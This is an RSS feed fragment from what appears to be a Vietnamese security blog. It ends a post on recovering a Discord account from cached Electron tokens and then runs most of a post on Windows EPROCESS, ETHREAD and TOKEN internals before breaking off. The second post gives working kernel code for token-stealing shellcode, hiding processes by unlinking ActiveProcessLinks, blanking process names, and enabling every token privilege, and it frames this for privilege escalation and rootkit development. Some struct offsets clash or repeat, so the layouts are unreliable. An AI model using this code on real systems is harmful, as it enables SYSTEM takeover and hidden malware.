&lt;p&gt;A: Có! Hầu hết Electron apps (Slack, VS Code, Spotify, etc.) đều lưu data tương tự. Technique này có thể áp dụng cho:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Slack&lt;/li&gt;
&lt;li&gt;Microsoft Teams&lt;/li&gt;
&lt;li&gt;Spotify (playlists offline)&lt;/li&gt;
&lt;li&gt;VS Code (settings, extensions)&lt;/li&gt;
&lt;li&gt;Telegram Desktop&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận: Bài Học Từ Một Disaster&lt;/h2&gt;
&lt;p&gt;Nhìn lại toàn bộ journey này, tôi nhận ra vài điều:&lt;/p&gt;
&lt;h3&gt;1. Backup Không Bao Giờ Là Dư Thừa&lt;/h3&gt;
&lt;p&gt;Có câu nói trong ngành IT:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;There are two types of people: those who backup, and those who will backup.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Tôi đã học được bài học này theo cách khó khăn. May mắn là Windows.old đã saved the day, nhưng không phải lúc nào cũng may mắn như vậy.&lt;/p&gt;
&lt;h3&gt;2. Understanding &amp;gt; Googling&lt;/h3&gt;
&lt;p&gt;Việc hiểu cách authentication tokens hoạt động đã giúp tôi tự mình tìm ra solution. Thay vì chỉ Google &quot;how to recover Discord without 2FA&quot;, tôi research về:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Token storage mechanisms&lt;/li&gt;
&lt;li&gt;Electron app architecture&lt;/li&gt;
&lt;li&gt;Windows file system structure&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Kiến thức này valuable hơn nhiều so với một quick fix.&lt;/p&gt;
&lt;h3&gt;3. Security vs Convenience&lt;/h3&gt;
&lt;p&gt;Case này highlight một tension cơ bản trong tech:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Too much security&lt;/strong&gt; → Bad UX → Users find workarounds → Less secure&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Too little security&lt;/strong&gt; → Easy to hack → Users lose accounts&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Discord chọn lean về convenience (long-lived tokens), điều này vừa saved tôi, vừa là potential security risk.&lt;/p&gt;
&lt;h3&gt;Final Thoughts&lt;/h3&gt;
&lt;p&gt;Nếu bạn đang đọc những dòng này trong cơn hoảng loạn giống như tôi từng trải qua — hít một hơi thật sâu. Rất có thể bạn vẫn còn cơ hội lấy lại tài khoản.&lt;/p&gt;
&lt;p&gt;Còn nếu bạn chỉ đọc vì tò mò — hãy sao lưu mã 2FA của bạn ngay bây giờ. Đừng đợi đến khi mọi thứ sụp đổ mới hối hận.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Remember:&lt;/strong&gt; The best recovery plan is the one you never have to use.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Last updated: October 28, 2025&lt;/em&gt;
&lt;em&gt;Written with ☕ and a lot of relief after recovering my account&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Windows Process &amp; Thread Internals: EPROCESS, KTHREAD &amp; Exploitation</title><link>https://wanderlens.vercel.app/posts/processthreadinternals/</link><guid isPermaLink="true">https://wanderlens.vercel.app/posts/processthreadinternals/</guid><description>Deep dive vào Windows process và thread internals - EPROCESS/KTHREAD structures, token manipulation, DKOM techniques, và practical exploitation methods.</description><pubDate>Sun, 12 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Giới thiệu&lt;/h2&gt;
&lt;p&gt;Processes và threads là fundamental building blocks của bất kỳ operating system nào. Trong Windows, việc hiểu process/thread internals không chỉ critical cho system programming mà còn essential cho privilege escalation, process hiding, và token manipulation attacks.&lt;/p&gt;
&lt;p&gt;Bài này deep dive vào kernel structures (&lt;code&gt;EPROCESS&lt;/code&gt;, &lt;code&gt;KPROCESS&lt;/code&gt;, &lt;code&gt;ETHREAD&lt;/code&gt;, &lt;code&gt;KTHREAD&lt;/code&gt;), process/thread creation flow, scheduler internals, và most importantly - practical exploitation techniques bao gồm token stealing, DKOM (Direct Kernel Object Manipulation), và process hiding.&lt;/p&gt;
&lt;h3&gt;Tại sao Process/Thread Internals quan trọng?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Đối với Privilege Escalation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Token stealing/manipulation → SYSTEM privileges&lt;/li&gt;
&lt;li&gt;Process token duplication&lt;/li&gt;
&lt;li&gt;Impersonation attacks&lt;/li&gt;
&lt;li&gt;SeDebugPrivilege exploitation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Đối với Rootkit Development:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Process hiding (DKOM techniques)&lt;/li&gt;
&lt;li&gt;Thread hiding&lt;/li&gt;
&lt;li&gt;Unlinking từ PsActiveProcessHead&lt;/li&gt;
&lt;li&gt;Callback manipulation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Đối với Malware Analysis:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Understanding process injection&lt;/li&gt;
&lt;li&gt;Thread context analysis&lt;/li&gt;
&lt;li&gt;Detecting hidden processes&lt;/li&gt;
&lt;li&gt;Memory forensics&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Process Structures Overview&lt;/h2&gt;
&lt;p&gt;Windows kernel maintains process information trong multiple interconnected structures:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│            Process Structures                    │
├─────────────────────────────────────────────────┤
│                                                 │
│  ┌─────────────────────────────────────────┐  │
│  │         EPROCESS                        │  │
│  │  (Executive Process Block)              │  │
│  │                                         │  │
│  │  - Process ID (UniqueProcessId)        │  │
│  │  - Parent PID (InheritedFromUniqueProcessId) │
│  │  - Process name (ImageFileName)        │  │
│  │  - Token pointer                        │  │
│  │  - VAD root                             │  │
│  │  - Handle table                         │  │
│  │  - PEB pointer                          │  │
│  │  - Active process links                 │  │
│  │                                         │  │
│  │  ┌───────────────────────────────────┐ │  │
│  │  │      KPROCESS                     │ │  │
│  │  │  (Kernel Process Block)           │ │  │
│  │  │                                   │ │  │
│  │  │  - DirectoryTableBase (CR3)       │ │  │
│  │  │  - Process threads list           │ │  │
│  │  │  - Process priority               │ │  │
│  │  │  - Affinity mask                  │ │  │
│  │  └───────────────────────────────────┘ │  │
│  └─────────────────────────────────────────┘  │
│                                                 │
│  ┌─────────────────────────────────────────┐  │
│  │         PEB (User-mode)                 │  │
│  │  (Process Environment Block)            │  │
│  │                                         │  │
│  │  - Loaded modules (LDR)                 │  │
│  │  - Process parameters                   │  │
│  │  - Heap information                     │  │
│  └─────────────────────────────────────────┘  │
│                                                 │
└─────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;EPROCESS Structure (Simplified)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _EPROCESS {
    KPROCESS Pcb;                           // +0x000 Kernel process block

    EX_PUSH_LOCK ProcessLock;               // +0x438 Process lock
    LARGE_INTEGER CreateTime;               // +0x440 Creation time
    LARGE_INTEGER ExitTime;                 // +0x448 Exit time

    EX_RUNDOWN_REF RundownProtect;          // +0x450

    HANDLE UniqueProcessId;                 // +0x440 Process ID (PID)
    LIST_ENTRY ActiveProcessLinks;          // +0x448 Doubly-linked list

    ULONG_PTR ProcessQuotaUsage[2];         // +0x460
    ULONG_PTR ProcessQuotaPeak[2];          // +0x470

    SIZE_T VirtualSize;                     // +0x490 Virtual size
    SIZE_T PeakVirtualSize;                 // +0x498

    ULONG_PTR NumberOfPrivatePages;         // +0x4A0

    LONG ModifiedPageCount;                 // +0x4A8

    union {
        struct {
            ULONG JobNotReallyActive  : 1;
            ULONG AccountingFolded    : 1;
            ULONG NewProcessReported  : 1;
            ULONG ExitProcessReported : 1;
            // ... more flags
        };
        ULONG Flags;
    } u1;

    ULONG_PTR CreateTime;                   // +0x4B0

    HANDLE InheritedFromUniqueProcessId;    // +0x550 Parent PID

    PVOID ObjectTable;                      // +0x570 Handle table

    PVOID Token;                            // +0x4B8 Process token (EX_FAST_REF)

    PMM_AVL_TABLE VadRoot;                  // +0x7D8 VAD tree root

    PVOID DeviceMap;                        // +0x670

    PVOID Session;                          // +0x678 Session pointer

    CHAR ImageFileName[15];                 // +0x5A8 Process name

    LIST_ENTRY JobLinks;                    // +0x5B8

    PVOID ThreadListHead;                   // +0x5E0 Head of thread list

    // ... many more fields (structure is ~0x800+ bytes)

} EPROCESS, *PEPROCESS;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; EPROCESS structure size và field offsets thay đổi giữa Windows versions. Offsets ở đây là for Windows 10 x64. Always use symbols hoặc pattern matching để locate fields dynamically trong exploits.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Key EPROCESS Fields cho Exploitation&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;UniqueProcessId (PID):&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Handle value representing process&lt;/li&gt;
&lt;li&gt;Used để identify processes&lt;/li&gt;
&lt;li&gt;PID enumeration attacks&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ActiveProcessLinks:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Doubly-linked list linking tất cả processes&lt;/li&gt;
&lt;li&gt;Used bởi &lt;code&gt;PsActiveProcessHead&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DKOM target&lt;/strong&gt;: Unlink để hide processes&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Token:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Points đến process access token (&lt;code&gt;EX_FAST_REF&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Contains security context (privileges, SIDs)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Primary exploitation target&lt;/strong&gt; cho privilege escalation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ImageFileName:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;15-character process name&lt;/li&gt;
&lt;li&gt;Not full path, chỉ tên file&lt;/li&gt;
&lt;li&gt;Used bởi process enumeration tools&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;InheritedFromUniqueProcessId:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Parent process ID&lt;/li&gt;
&lt;li&gt;Used để build process tree&lt;/li&gt;
&lt;li&gt;Forensics và detection&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Thread Structures Overview&lt;/h2&gt;
&lt;p&gt;Mỗi process chứa một hoặc nhiều threads. Thread structures tương tự process structures:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌─────────────────────────────────────────────────┐
│            Thread Structures                     │
├─────────────────────────────────────────────────┤
│                                                 │
│  ┌─────────────────────────────────────────┐  │
│  │         ETHREAD                         │  │
│  │  (Executive Thread Block)               │  │
│  │                                         │  │
│  │  - Thread ID (Cid.UniqueThread)        │  │
│  │  - Process pointer (owning EPROCESS)    │  │
│  │  - Start address                        │  │
│  │  - Thread state                         │  │
│  │  - Priority                             │  │
│  │  - Impersonation token                  │  │
│  │                                         │  │
│  │  ┌───────────────────────────────────┐ │  │
│  │  │      KTHREAD                      │ │  │
│  │  │  (Kernel Thread Block)            │ │  │
│  │  │                                   │ │  │
│  │  │  - Thread context (registers)     │ │  │
│  │  │  - Kernel stack                   │ │  │
│  │  │  - TEB pointer                    │ │  │
│  │  │  - Wait blocks                    │ │  │
│  │  │  - Scheduling info                │ │  │
│  │  └───────────────────────────────────┘ │  │
│  └─────────────────────────────────────────┘  │
│                                                 │
│  ┌─────────────────────────────────────────┐  │
│  │         TEB (User-mode)                 │  │
│  │  (Thread Environment Block)             │  │
│  │                                         │  │
│  │  - Thread ID                            │  │
│  │  - Last error code                      │  │
│  │  - Thread local storage (TLS)           │  │
│  │  - Stack base/limit                     │  │
│  └─────────────────────────────────────────┘  │
│                                                 │
└─────────────────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;ETHREAD Structure (Simplified)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _ETHREAD {
    KTHREAD Tcb;                            // +0x000 Kernel thread block

    LARGE_INTEGER CreateTime;               // +0x4B0 Thread creation time
    LARGE_INTEGER ExitTime;                 // +0x4B8 Thread exit time

    union {
        LIST_ENTRY LpcReplyChain;
        LIST_ENTRY KeyedWaitChain;
    };

    PVOID LpcReplyMessage;                  // +0x4D0

    ULONG LpcReplyMessageId;                // +0x4D8

    CLIENT_ID Cid;                          // +0x4E0 Client ID
    // Cid.UniqueProcess = Process ID
    // Cid.UniqueThread = Thread ID

    union {
        KSEMAPHORE LpcReplySemaphore;
        KSEMAPHORE KeyedWaitSemaphore;
    };

    PVOID LpcReplyMessageId;                // +0x500

    PVOID ImpersonationInfo;                // +0x4F8 Impersonation token

    LIST_ENTRY IrpList;                     // +0x508 Pending I/O requests

    ULONG_PTR TopLevelIrp;                  // +0x518

    PVOID Win32StartAddress;                // +0x520 Thread start address

    PEPROCESS ThreadsProcess;               // +0x550 Owning process

    PVOID StartAddress;                     // +0x640 Kernel start address

    // ... more fields

} ETHREAD, *PETHREAD;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Key ETHREAD Fields&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Cid.UniqueThread:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Thread ID (TID)&lt;/li&gt;
&lt;li&gt;Unique identifier cho thread&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ThreadsProcess:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Pointer về owning EPROCESS&lt;/li&gt;
&lt;li&gt;Used để get process context từ thread&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Win32StartAddress:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User-mode start address của thread&lt;/li&gt;
&lt;li&gt;Visible trong Process Explorer&lt;/li&gt;
&lt;li&gt;Useful cho detecting injected threads&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;ImpersonationInfo:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Points đến impersonation token (if any)&lt;/li&gt;
&lt;li&gt;Used cho impersonation attacks&lt;/li&gt;
&lt;li&gt;Can be different từ process token&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;Process/Thread Creation Flow&lt;/h2&gt;
&lt;p&gt;Understanding creation flow giúp identify attack surfaces:&lt;/p&gt;
&lt;h3&gt;Process Creation Steps&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CreateProcess() [User-mode]
        ↓
NtCreateUserProcess() [Syscall transition]
        ↓
PspCreateProcess() [Kernel]
        ↓
    ┌───────────────────────────────────┐
    │ 1. Allocate EPROCESS structure    │
    │    - ExAllocatePoolWithTag()      │
    │    - Initialize fields            │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 2. Create process address space   │
    │    - Allocate page directory (CR3)│
    │    - Setup VAD tree               │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 3. Create process token           │
    │    - Duplicate parent token       │
    │    - Or create new token          │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 4. Map executable image           │
    │    - Parse PE headers             │
    │    - Map sections                 │
    │    - Resolve imports              │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 5. Create initial thread          │
    │    - PspCreateThread()            │
    │    - Setup thread context         │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 6. Process callbacks              │
    │    - Notify registered callbacks  │
    │    - PsSetCreateProcessNotifyRoutine│
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 7. Insert into process list       │
    │    - Link vào PsActiveProcessHead │
    └───────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Thread Creation Steps&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CreateThread() [User-mode]
        ↓
NtCreateThreadEx() [Syscall]
        ↓
PspCreateThread() [Kernel]
        ↓
    ┌───────────────────────────────────┐
    │ 1. Allocate ETHREAD structure     │
    │    - ExAllocatePoolWithTag()      │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 2. Allocate kernel stack          │
    │    - Non-paged pool               │
    │    - Default: 12 KB (x64)         │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 3. Initialize KTHREAD             │
    │    - Setup thread context         │
    │    - Set start address            │
    │    - Initialize registers         │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 4. Allocate TEB (user-mode)       │
    │    - Thread Environment Block     │
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 5. Thread callbacks               │
    │    - Notify registered callbacks  │
    │    - PsSetCreateThreadNotifyRoutine│
    └───────────────┬───────────────────┘
                    ↓
    ┌───────────────────────────────────┐
    │ 6. Insert into process thread list│
    │    - Ready for scheduling         │
    └───────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Token Structure &amp;amp; Manipulation&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Access tokens&lt;/strong&gt; chứa security context của process/thread. Đây là primary target cho privilege escalation.&lt;/p&gt;
&lt;h3&gt;TOKEN Structure (Simplified)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _TOKEN {
    TOKEN_SOURCE TokenSource;               // Token source
    LUID TokenId;                           // Token ID
    LUID AuthenticationId;                  // Authentication ID (LUID)
    LUID ParentTokenId;                     // Parent token ID

    LARGE_INTEGER ExpirationTime;           // Expiration time

    LUID ModifiedId;                        // Modified ID

    TOKEN_TYPE TokenType;                   // Primary or Impersonation

    SECURITY_IMPERSONATION_LEVEL ImpersonationLevel;

    ULONG DynamicCharged;
    ULONG DynamicAvailable;

    ULONG DefaultOwnerIndex;                // Default owner SID index

    PSID_AND_ATTRIBUTES UserAndGroups;      // User SID + group SIDs
    ULONG UserAndGroupCount;

    PSID_AND_ATTRIBUTES RestrictedSids;     // Restricted SIDs
    ULONG RestrictedSidCount;

    PVOID Privileges;                       // Privileges (LUID_AND_ATTRIBUTES)
    ULONG PrivilegeCount;

    LUID TokenId;                           // Token identifier

    ULONG SessionId;                        // Session ID

    // ... more fields

} TOKEN, *PTOKEN;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Token Types&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Primary Token:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Associated với process&lt;/li&gt;
&lt;li&gt;Stored trong &lt;code&gt;EPROCESS.Token&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Inherited từ parent process (usually)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Impersonation Token:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Associated với thread&lt;/li&gt;
&lt;li&gt;Stored trong &lt;code&gt;ETHREAD.ImpersonationInfo&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Allows thread to act as different user&lt;/li&gt;
&lt;li&gt;Used bởi services (e.g., IIS, SQL Server)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Token Privileges&lt;/h3&gt;
&lt;p&gt;Common privileges critical cho exploitation:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Privilege&lt;/th&gt;
&lt;th&gt;Constant&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SeDebugPrivilege&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;Debug programs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SeLoadDriverPrivilege&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;Load/unload drivers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SeTakeOwnershipPrivilege&lt;/td&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;Take ownership of files/objects&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SeRestorePrivilege&lt;/td&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;Restore files/directories&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SeBackupPrivilege&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;Backup files/directories&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SeImpersonatePrivilege&lt;/td&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;Impersonate clients&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SeAssignPrimaryTokenPrivilege&lt;/td&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Replace process token&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;Practical Exploitation: Token Stealing&lt;/h2&gt;
&lt;p&gt;Token stealing là classic privilege escalation technique. Idea: replace current process token với SYSTEM token.&lt;/p&gt;
&lt;h3&gt;Technique 1: Token Stealing via EPROCESS&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Step 1: Find SYSTEM process (PID 4)&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PEPROCESS pSystemProcess = NULL;
NTSTATUS status;

// Method 1: Lookup by PID
status = PsLookupProcessByProcessId((HANDLE)4, &amp;amp;pSystemProcess);

// Method 2: Walk process list
PEPROCESS pCurrentProcess = PsGetCurrentProcess();
PLIST_ENTRY pListEntry = (PLIST_ENTRY)((PUCHAR)pCurrentProcess + ACTIVEPROCESSLINKS_OFFSET);
PLIST_ENTRY pHead = pListEntry;

do {
    PEPROCESS pProcess = (PEPROCESS)((PUCHAR)pListEntry - ACTIVEPROCESSLINKS_OFFSET);
    HANDLE pid = PsGetProcessId(pProcess);

    if ((ULONG_PTR)pid == 4) {
        pSystemProcess = pProcess;
        break;
    }

    pListEntry = pListEntry-&amp;gt;Flink;
} while (pListEntry != pHead);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 2: Get SYSTEM token&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// EPROCESS.Token là một EX_FAST_REF structure
// Lower 4 bits là ref count, cần mask out

PVOID pSystemToken = *(PVOID*)((PUCHAR)pSystemProcess + TOKEN_OFFSET);
pSystemToken = (PVOID)((ULONG_PTR)pSystemToken &amp;amp; ~0xF); // Clear lower 4 bits
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Step 3: Replace current process token&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PEPROCESS pCurrentProcess = PsGetCurrentProcess();
PVOID* pCurrentTokenPtr = (PVOID*)((PUCHAR)pCurrentProcess + TOKEN_OFFSET);

// Save old token (optional, for cleanup)
PVOID pOldToken = *pCurrentTokenPtr;

// Steal SYSTEM token
*pCurrentTokenPtr = pSystemToken;

// Current process giờ có SYSTEM privileges!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Technique 2: Token Manipulation via PsReferencePrimaryToken&lt;/h3&gt;
&lt;p&gt;Cách sạch hơn sử dụng documented APIs:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PACCESS_TOKEN pSystemToken = PsReferencePrimaryToken(pSystemProcess);
PACCESS_TOKEN pOldToken = PsReferencePrimaryToken(PsGetCurrentProcess());

// Replace token
PsDereferencePrimaryToken(pOldToken);
SeSetTokenForProcess(PsGetCurrentProcess(), pSystemToken);
PsDereferenceImpersonationToken(pSystemToken);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Token Stealing Shellcode Example&lt;/h3&gt;
&lt;p&gt;Minimal shellcode cho token stealing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Find SYSTEM EPROCESS
ULONG_PTR current = (ULONG_PTR)PsGetCurrentProcess();
ULONG_PTR system = current;

while (1) {
    PLIST_ENTRY list = (PLIST_ENTRY)(system + 0x448); // ActiveProcessLinks offset
    system = (ULONG_PTR)list-&amp;gt;Flink - 0x448;

    HANDLE pid = *(HANDLE*)(system + 0x440); // UniqueProcessId offset
    if ((ULONG_PTR)pid == 4) break; // Found SYSTEM
}

// Steal token
ULONG_PTR systemToken = *(ULONG_PTR*)(system + 0x4B8); // Token offset
systemToken &amp;amp;= ~0xF; // Clear ref count bits

ULONG_PTR* currentToken = (ULONG_PTR*)(current + 0x4B8);
*currentToken = systemToken;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Offsets (&lt;code&gt;0x448&lt;/code&gt;, &lt;code&gt;0x440&lt;/code&gt;, &lt;code&gt;0x4B8&lt;/code&gt;) vary by Windows version. Production exploits phải dynamically resolve offsets hoặc use pattern matching.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;DKOM (Direct Kernel Object Manipulation)&lt;/h2&gt;
&lt;p&gt;DKOM techniques directly manipulate kernel structures để achieve goals như hiding processes, elevating privileges, etc.&lt;/p&gt;
&lt;h3&gt;Technique 1: Process Hiding - Unlinking từ ActiveProcessLinks&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Concept:&lt;/strong&gt; Remove process từ &lt;code&gt;PsActiveProcessHead&lt;/code&gt; doubly-linked list.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Get current process
PEPROCESS pProcess = PsGetCurrentProcess();

// Get ActiveProcessLinks offset
PLIST_ENTRY pListEntry = (PLIST_ENTRY)((PUCHAR)pProcess + ACTIVEPROCESSLINKS_OFFSET);

// Unlink from list
pListEntry-&amp;gt;Blink-&amp;gt;Flink = pListEntry-&amp;gt;Flink;
pListEntry-&amp;gt;Flink-&amp;gt;Blink = pListEntry-&amp;gt;Blink;

// Point to self (optional, avoid crashes)
pListEntry-&amp;gt;Flink = pListEntry;
pListEntry-&amp;gt;Blink = pListEntry;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt; Process hidden từ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Task Manager&lt;/li&gt;
&lt;li&gt;Process Explorer&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PsGetProcessList()&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Most user-mode enumeration tools&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Still visible trong:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Handle tables&lt;/li&gt;
&lt;li&gt;Threads still scheduled&lt;/li&gt;
&lt;li&gt;Memory forensics tools&lt;/li&gt;
&lt;li&gt;Advanced detection (kernel callbacks)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Technique 2: Zero Out ImageFileName&lt;/h3&gt;
&lt;p&gt;Simple technique để obfuscate process name:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PEPROCESS pProcess = PsGetCurrentProcess();
PUCHAR pImageFileName = (PUCHAR)pProcess + IMAGEFILENAME_OFFSET;

// Overwrite with spaces or nulls
RtlZeroMemory(pImageFileName, 15);
// Or
memset(pImageFileName, &apos; &apos;, 15);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Technique 3: Modify Token Privileges&lt;/h3&gt;
&lt;p&gt;Enable tất cả privileges trong token:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;typedef struct _SEP_TOKEN_PRIVILEGES {
    ULONG64 Present;    // Bitmap of present privileges
    ULONG64 Enabled;    // Bitmap of enabled privileges
    ULONG64 EnabledByDefault; // Bitmap of default enabled
} SEP_TOKEN_PRIVILEGES;

// Get token từ EPROCESS
PVOID pToken = *(PVOID*)((PUCHAR)pProcess + TOKEN_OFFSET);
pToken = (PVOID)((ULONG_PTR)pToken &amp;amp; ~0xF);

// Offset của Privileges structure trong TOKEN
SEP_TOKEN_PRIVILEGES* pPrivileges = (SEP_TOKEN_PRIVILEGES*)((PUCHAR)pToken + PRIVILEGES_OFFSET);

// Enable all privileges
pPrivileges-&amp;gt;Enabled = pPrivileges-&amp;gt;Present;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;Thread Injection &amp;amp; Manipulation&lt;/h2&gt;
&lt;h3&gt;Technique 1: APC (Asynchronous Procedure Call) Injection&lt;/h3&gt;
&lt;p&gt;Inject code vào target thread qua user-mode APC:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// Allocate memory trong target process
